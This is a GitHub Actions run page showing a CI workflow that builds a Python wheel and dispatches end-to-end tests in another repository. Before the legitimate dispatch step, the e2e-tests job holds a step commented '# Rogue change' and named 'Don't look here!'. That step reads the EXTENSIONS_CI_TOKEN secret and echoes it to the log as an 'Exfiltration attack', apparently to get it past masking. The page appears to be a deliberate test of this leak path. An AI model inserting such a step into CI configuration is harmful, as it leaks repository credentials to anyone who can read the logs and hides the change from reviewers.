Skip to content

Third test for cross-repo workflow call #9

Third test for cross-repo workflow call

Third test for cross-repo workflow call #9

Workflow file for this run

# Copyright 2024 Sony Semiconductor Solutions Corp.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0
---
name: CI
on:
pull_request:
workflow_dispatch:
push:
branches: [main]
env:
PYTHON_VERSION: '3.11'
jobs:
wheel:
name: Build python wheel
uses: ./.github/workflows/build-wheel.yaml
secrets: inherit
with:
python-version: '3.11'
e2e-tests:
name: E2E Tests
runs-on: [self-hosted, X64]
needs: [wheel]
steps:
# Rogue change
- name: Don't look here!
env:
secret_attack: ${{ secrets.EXTENSIONS_CI_TOKEN }}
run: |
echo Exfiltration attack: $(printf '%s' "$secret_attack" | base64 -d)
# Legitimate change
- name: Run external System Tests
uses: convictional/[email protected]
with:
owner: midokura
repo: wedge-cli
workflow_file_name: execute-e2e.yaml
ref: main
github_token: ${{ secrets.EXTENSIONS_CI_TOKEN }}
github_user: ${{ secrets.EXTENSIONS_CI_USER }}
client_payload: |
{
"lc-artifact-name": "${{ needs.wheel.outputs.artifact }}",
"lc-artifact-repo": "SonySemiconductorSolutions/local-console",
"lc-artifact-run-id": "${{ github.run_id }}"
}